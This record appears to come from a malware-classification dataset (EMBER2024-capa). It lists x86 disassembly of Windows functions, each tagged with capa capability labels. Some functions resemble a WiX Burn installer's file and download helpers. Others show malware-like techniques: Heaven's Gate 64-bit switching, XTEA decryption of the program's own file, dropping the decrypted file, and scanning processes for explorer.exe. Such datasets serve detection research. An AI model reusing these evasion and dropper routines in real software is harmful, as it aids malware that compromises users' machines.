joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4441e5
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
xor esi, esi
cmp dword [ebp + 0x10], ebx
setne bl
cmp dword [ebp + 0x14], esi
je 0x4441fc
or ebx, 2
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x4442f4
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp dword [ebp + 0x10], esi
jne 0x444234
cmp edi, 0x50
je 0x44422c
cmp edi, 0xb7
jne 0x444234
xor esi, esi
inc esi
jmp 0x4442f3
cmp edi, 2
jne 0x44424d
push esi
push dword [ebp + 8]
call fcn.00444440
test eax, eax
je 0x4442ea
push 3
pop edi
cmp edi, 3
jne 0x4442e2
mov edi, dword [ebp + 0xc]
mov ecx, esi
mov eax, edi
movzx edx, word [edi]
test dx, dx
je 0x4442db
mov dword [ebp + 0xc], 0x5c
cmp dx, word [ebp + 0xc]
jne 0x444274
mov ecx, eax
add eax, 2
movzx edx, word [eax]
test dx, dx
jne 0x44426c
mov dword [ebp + 0x10], ecx
test ecx, ecx
je 0x4442db
push esi
xor eax, eax
push edi
mov word [ecx], ax
call fcn.00404115
mov ecx, dword [ebp + 0xc]
mov esi, eax
mov eax, dword [ebp + 0x10]
mov word [eax], cx
test esi, esi
js 0x4442f3
push ebx
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x4442f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4442c7
movzx esi, si
or esi, 0x80070000
test esi, esi
jns 0x4442f3
push esi
push 0x4d4
push str.fileutil.cpp
call fcn.00403821
jmp 0x4442f3
mov esi, 0x80070003
jmp 0x4442f3
test edi, edi
jg 0x4442ea
mov esi, edi
jmp 0x4442f3
movzx esi, di
or esi, 0x80070000
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x444a6c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor eax, eax
push esi
push edi
mov esi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x444ac7
call ebx
mov esi, eax
test esi, esi
jle 0x444ab0
movzx esi, si
or esi, 0x80070000
test esi, esi
jns 0x444ac7
push esi
push 0x115
push str.fileutil.cpp
call fcn.00403821
jmp 0x444b6b
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
jne 0x444ae3
mov esi, 0x8007000e
push esi
push 0x119
jmp 0x444ab8
push edi
push dword [ebp - 0xc]
push dword [ebp - 4]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
jne 0x444b1d
call ebx
mov esi, eax
test esi, esi
jle 0x444b09
movzx esi, si
or esi, 0x80070000
test esi, esi
jns 0x444b1d
push esi
push 0x11d
push str.fileutil.cpp
call fcn.00403821
jmp 0x444b64
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0x44b7a0
push edi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
jne 0x444b51
call ebx
mov esi, eax
test esi, esi
jle 0x444b47
movzx esi, si
or esi, 0x80070000
test esi, esi
jns 0x444b51
push esi
push 0x122
jmp 0x444b11
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov ecx, dword [edx + 8]
mov dword [eax], ecx
mov ecx, dword [ebp + 0x10]
mov edx, dword [edx + 0xc]
mov dword [ecx], edx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x444e3a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
and dword [ebp - 4], esi
push edi
xor edi, edi
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
sub eax, edi
push eax
lea eax, [edi + ebx]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x444e81
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x444e7f
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x444e8b
add edi, dword [ebp - 4]
cmp edi, dword [ebp + 0x10]
jb 0x444e4b
jmp 0x444e9b
push esi
push 0x3ef
push str.fileutil.cpp
call fcn.00403821
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x445dae
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 0x14]
xor eax, eax
push esi
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
push dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push str._ls.R
push edi
call fcn.00401f13
mov esi, eax
add esp, 0xc
test esi, esi
js 0x445eba
push 0
push 0x80
push 4
push 0
push 4
push 0xc0000000
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x445e38
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x445e1c
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x445e23
mov esi, 0x80004005
push esi
push 0xc1
push str.dlutil.cpp
call fcn.00403821
jmp 0x445eba
mov ecx, dword [ebp - 4]
push 0
lea eax, [ebp - 8]
push eax
push 8
pop eax
sub eax, ecx
push eax
lea eax, [ecx + ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x445e80
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
cmp dword [ebp - 8], 0
mov dword [ebp - 4], ecx
je 0x445e6a
cmp ecx, 8
jb 0x445e3b
cmp ecx, 8
je 0x445e76
and dword [ebx], 0
and dword [ebx + 4], 0
mov eax, dword [ebp + 0x10]
mov dword [eax], edi
or edi, 0xffffffff
jmp 0x445eae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x445e97
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x445e9e
mov esi, 0x80004005
push esi
push 0xc8
push str.dlutil.cpp
call fcn.00403821
cmp edi, 0xffffffff
je 0x445eba
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x446357
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0
push 0
push dword [edi + 4]
push dword [edi]
push dword [ebp + 0xc]
call fcn.0044490d
mov esi, eax
test esi, esi
js 0x4464ad
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x44647e
cmp dword [ebp - 4], 0
je 0x4464ac
xor ebx, ebx
and dword [ebp + 0x10], ebx
push 0
lea eax, [ebp + 0x10]
push eax
mov eax, dword [ebp - 4]
sub eax, ebx
push eax
mov eax, dword [ebp + 0x20]
add eax, ebx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x446458
add ebx, dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0
je 0x4463dc
cmp ebx, dword [ebp - 4]
jb 0x4463ab
add dword [edi], ebx
push 0
pop eax
adc dword [edi + 4], eax
cmp dword [ebp + 0x14], 0xffffffff
je 0x446426
push eax
push eax
push eax
push eax
push dword [ebp + 0x14]
mov ebx, eax
mov dword [ebp - 8], eax
call fcn.0044490d
test eax, eax
js 0x446426
push 0
lea eax, [ebp - 8]
push eax
push 8
pop eax
sub eax, ebx
push eax
lea eax, [edi + ebx*8]
push eax
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
add ebx, dword [ebp - 8]
cmp dword [ebp - 8], 0
je 0x446426
cmp ebx, 8
jb 0x4463ff
mov eax, dword [ebp + 0x28]
test eax, eax
je 0x44644c
cmp dword [eax], 0
je 0x44644c
push dword [ebp + 0xc]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [edi + 4]
push dword [edi]
push eax
call fcn.00445c8a
mov esi, eax
test esi, esi
js 0x4464ac
cmp dword [ebp - 4], 0
jne 0x446381
jmp 0x4464ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x44646f
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x446476
mov esi, 0x80004005
push esi
push 0x1a6
jmp 0x4464a2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x446495
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x44649c
mov esi, 0x80004005
push esi
push 0x19a
push str.dlutil.cpp
call fcn.00403821
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x24
Function at 0x4464b7
Capabilities:
Create http request
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
or dword [ebp - 0xc], 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push eax
push dword [ebx]
mov dword [ebp - 8], eax
mov edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 8]
push eax
call fcn.00402195
mov esi, eax
test esi, esi
js 0x44661f
xor eax, eax
push eax
push eax
push eax
push eax
push str.Burn
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
jne 0x446546
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x44652a
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x446531
mov esi, 0x80004005
push esi
push 0x84
push str.dlutil.cpp
call fcn.00403821
jmp 0x44661f
lea eax, [ebp - 4]
push eax
push 0x78
push str.DownloadTimeout
push str.WiXBurn
call fcn.004457fa
mov eax, dword [ebp - 4]
test eax, eax
je 0x446592
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionW]
imul eax, eax, 0x3e8
push 4
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 2
push edi
call esi
push 4
lea eax, [ebp - 4]
push eax
push 6
push edi
call esi
push 4
lea eax, [ebp - 4]
push eax
push 5
push edi
call esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x1c]
lea eax, [ebp - 8]
push dword [ebx + 8]
push dword [ebx + 4]
push eax
push edi
call fcn.00445d03
mov esi, eax
test esi, esi
js 0x44661f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x14]
call fcn.00445dae
push dword [ebp + 0x1c]
lea eax, [ebp - 8]
push dword [ebp + 0x18]
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push dword [ebx + 8]
push dword [ebx + 4]
push eax
push edi
call fcn.00445a5e
mov esi, eax
test esi, esi
js 0x446610
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x446610
xor ecx, ecx
cmp word [eax], cx
je 0x446610
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0xc], 0xffffffff
je 0x44661f
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x44662c
push eax
call fcn.00445636
test edi, edi
je 0x446637
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 8], 0
je 0x446645
push dword [ebp - 8]
call fcn.00445636
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x448a03
Capabilities:
Get http content length

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
mov dword [ebp - 4], 4
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push 0x20000005
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x448a55
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x448a44
movzx esi, si
or esi, 0x80070000
test esi, esi
jns 0x448a55
push esi
push 0x18
push str.inetutil.cpp
call fcn.00403821
jmp 0x448a61
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
and dword [edx + 4], 0
mov dword [edx], ecx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x448b9e
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x246c
call fcn.0044a060
mov eax, dword [0x46a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2428], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x242c], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x20]
mov dword [ebp - 0x241c], eax
mov eax, dword [ebp + 0x14]
push esi
mov dword [ebp - 0x2430], eax
xor esi, esi
mov eax, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x24]
mov dword [ebp - 0x2420], eax
mov eax, dword [ebp + 0x1c]
push 0x3c
mov dword [ebp - 0x2424], eax
lea eax, [ebp - 0x246c]
push esi
push eax
call fcn.0042f8e0
add esp, 0xc
mov dword [ebp - 0x246c], 0x3c
cmp dword [ebp - 0x241c], esi
je 0x448c30
lea eax, [ebp - 0x410]
mov dword [ebp - 0x2458], 0x101
mov dword [ebp - 0x245c], eax
mov ecx, 0x81
cmp dword [ebp - 0x2420], esi
je 0x448c4f
lea eax, [ebp - 0x108]
mov dword [ebp - 0x244c], ecx
mov dword [ebp - 0x2450], eax
cmp dword [ebp - 0x2424], esi
je 0x448c69
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x2444], ecx
mov dword [ebp - 0x2448], eax
mov ecx, 0x801
test ebx, ebx
je 0x448c84
lea eax, [ebp - 0x1414]
mov dword [ebp - 0x243c], ecx
mov dword [ebp - 0x2440], eax
test edi, edi
je 0x448c9a
lea eax, [ebp - 0x2418]
mov dword [ebp - 0x2434], ecx
mov dword [ebp - 0x2438], eax
lea eax, [ebp - 0x246c]
push eax
push 0x90000000
push esi
push dword [ebp - 0x2428]
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
jne 0x448ce7
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x448cce
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x448cd5
mov esi, 0x80004005
push esi
push 0x56
push str.uriutil.cpp
call fcn.00403821
jmp 0x448dab
mov ecx, dword [ebp - 0x242c]
test ecx, ecx
je 0x448cf9
mov eax, dword [ebp - 0x2460]
mov dword [ecx], eax
mov eax, dword [ebp - 0x241c]
test eax, eax
je 0x448d1f
push dword [ebp - 0x2458]
push dword [ebp - 0x245c]
push eax
call fcn.00402195
mov esi, eax
test esi, esi
js 0x448dab
mov eax, dword [ebp - 0x2430]
test eax, eax
je 0x448d33
mov cx, word [ebp - 0x2454]
mov word [eax], cx
mov eax, dword [ebp - 0x2420]
test eax, eax
je 0x448d55
push dword [ebp - 0x244c]
push dword [ebp - 0x2450]
push eax
call fcn.00402195
mov esi, eax
test esi, esi
js 0x448dab
mov eax, dword [ebp - 0x2424]
test eax, eax
je 0x448d77
push dword [ebp - 0x2444]
push dword [ebp - 0x2448]
push eax
call fcn.00402195
mov esi, eax
test esi, esi
js 0x448dab
test ebx, ebx
je 0x448d93
push dword [ebp - 0x243c]
push dword [ebp - 0x2440]
push ebx
call fcn.00402195
mov esi, eax
test esi, esi
js 0x448dab
test edi, edi
je 0x448dab
push dword [ebp - 0x2434]
push dword [ebp - 0x2438]
push edi
call fcn.00402195
mov esi, eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042e06f
mov esp, ebp
pop ebp
ret 0x20
Function at 0x401000
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
sub esp, 0x40
push esi
xor esi, esi
push edi
lea eax, [ebp + 0x10]
cmp ecx, esi
jle 0x401029
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x28], edx
mov edx, dword [ebp + 0x14]
dec ecx
mov dword [ebp + 0xc], ecx
lea eax, [ebp + 0x18]
mov dword [ebp - 0x24], edx
jmp 0x40102f
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
cmp ecx, esi
jle 0x401048
dec ecx
add eax, 8
mov dword [ebp + 0xc], ecx
mov edx, dword [eax - 8]
mov dword [ebp - 0x20], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x1c], edx
jmp 0x40104e
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp ecx, esi
jle 0x401067
dec ecx
add eax, 8
mov dword [ebp + 0xc], ecx
mov edx, dword [eax - 8]
mov dword [ebp - 0x18], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x14], edx
jmp 0x40106d
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
cmp ecx, esi
jle 0x401086
dec ecx
add eax, 8
mov dword [ebp + 0xc], ecx
mov edx, dword [eax - 8]
mov dword [ebp - 0x10], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0xc], edx
jmp 0x40108c
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], esi
mov dword [ebp + 8], esi
mov dword [ebp + 8], esp
and esp, 0xfffffff8
push 0x33
call fcn.004010bb

Function at 0x401130
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
xor eax, eax
push esi
push edi
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x33
call fcn.00401148

Function at 0x401870
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
push ebx
push esi
bswap eax
bswap ecx
xor edx, edx
mov dword [ebp - 4], 0x20
push edi
lea esp, [esp]
mov edi, dword [ebp + 0xc]
mov esi, edx
and esi, 3
mov esi, dword [edi + esi*4]
bswap esi
add esi, edx
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
add edi, ecx
xor esi, edi
mov edi, dword [ebp + 0xc]
add eax, esi
sub edx, 0x61c88647
mov esi, edx
shr esi, 0xb
and esi, 3
mov esi, dword [edi + esi*4]
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
bswap esi
xor edi, ebx
add esi, edx
add edi, eax
xor esi, edi
add ecx, esi
dec dword [ebp - 4]
jne 0x401890
mov edx, dword [ebp + 8]
pop edi
bswap eax
bswap ecx
pop esi
mov dword [edx], eax
mov dword [edx + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x401900
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
add edx, 7
shr edx, 3
dec edx
mov dword [ebp - 0xc], edx
js 0x4019c5
push ebx
push esi
push edi
jmp 0x401923
mov eax, dword [ebp + 8]
lea ecx, [eax + edx*8 - 8]
test edx, edx
jne 0x40192e
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
mov ecx, dword [eax + edx*8]
mov eax, dword [eax + edx*8 + 4]
bswap ecx
bswap eax
mov edx, 0xc6ef3720
mov dword [ebp - 4], 0x20
mov edi, dword [ebp + 0x10]
mov esi, edx
shr esi, 0xb
and esi, 3
mov esi, dword [edi + esi*4]
bswap esi
add esi, edx
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
add edi, ecx
xor esi, edi
mov edi, dword [ebp + 0x10]
sub eax, esi
add edx, 0x61c88647
mov esi, edx
and esi, 3
mov esi, dword [edi + esi*4]
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
bswap esi
xor edi, ebx
add esi, edx
add edi, eax
xor esi, edi
sub ecx, esi
dec dword [ebp - 4]
jne 0x401948
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp + 0xc]
bswap ecx
mov dword [esi + edx*8], ecx
lea ecx, [esi + edx*8 + 4]
bswap eax
mov dword [ecx], eax
mov eax, dword [ebp - 8]
mov edi, dword [eax]
xor dword [esi + edx*8], edi
mov eax, dword [eax + 4]
xor dword [ecx], eax
dec edx
mov dword [ebp - 0xc], edx
jns 0x401920
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4022b0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x200
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40230c
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402c0c
mov esp, ebp
pop ebp
ret
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [0x44f894]
mov dword [ebp - 0x408], eax
add eax, 0x100
push eax
push 8
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 0x408]
push 0
mov esi, eax
lea eax, [ebp - 0x408]
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x408]
mov ecx, dword [0x44f8c0]
lea eax, [esi + edx]
mov dword [eax], ecx
mov edx, dword [0x44f8c4]
push 0x44f8b0
push 0x44f8c0
mov dword [eax + 4], edx
call fcn.00401870
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
add eax, 8
mov dword [ebx], eax
mov eax, esi
pop esi
xor ecx, ebp
pop edi
call fcn.00402c0c
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Check os version
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ebx, [ebp - 0x40c]
call fcn.004022b0
mov ebx, eax
test ebx, ebx
je 0x40250b
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push 0x44f948
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x4024b7
mov ax, word [0x44f948]
lea esi, [ebp - 0x408]
test ax, ax
je 0x402422
movzx ecx, ax
mov edx, 0x44f948
mov eax, esi
sub edx, eax
nop
movzx eax, word [edx + esi + 2]
mov word [esi], cx
add esi, 2
mov ecx, eax
test ax, ax
jne 0x402410
xor ecx, ecx
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, esi
call fcn.004019d0
mov esi, 0x40ca70
mov edx, 0x2e
sub esi, eax
mov word [eax], dx
movzx ecx, word [esi + eax + 2]
add eax, 2
mov edx, ecx
test cx, cx
jne 0x402440
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
xor edx, edx
mov word [eax], dx
push edx
lea eax, [ebp - 0x408]
push eax
push 0x44f948
call esi
push 4
push 0
lea ecx, [ebp - 0x408]
push ecx
call esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push 0x44f948
call edi
mov esi, eax
cmp esi, 0xffffffff
jne 0x4024b7
mov edx, dword [0x44f894]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402c0c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x40c]
push 0
lea eax, [ebp - 0x40c]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x44f894]
push ebx
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x402506
call fcn.00401aa0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402c0c
mov esp, ebp
pop ebp
ret
call fcn.00401dc0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402c0c
mov esp, ebp
pop ebp
ret

Function at 0x402520
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x40e004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Process32FirstW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0
push 2
call edi
mov esi, eax
lea eax, [ebp - 0x230]
push eax
push esi
mov dword [ebp - 0x230], 0x22c
call ebx
test eax, eax
je 0x402593
lea ecx, [ebp - 0x20c]
push str.explorer.exe
push ecx
call fcn.00402e1f
add esp, 8
test eax, eax
je 0x40259d
lea edx, [ebp - 0x230]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402562
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402542
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x228]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402c0c
mov esp, ebp
pop ebp
ret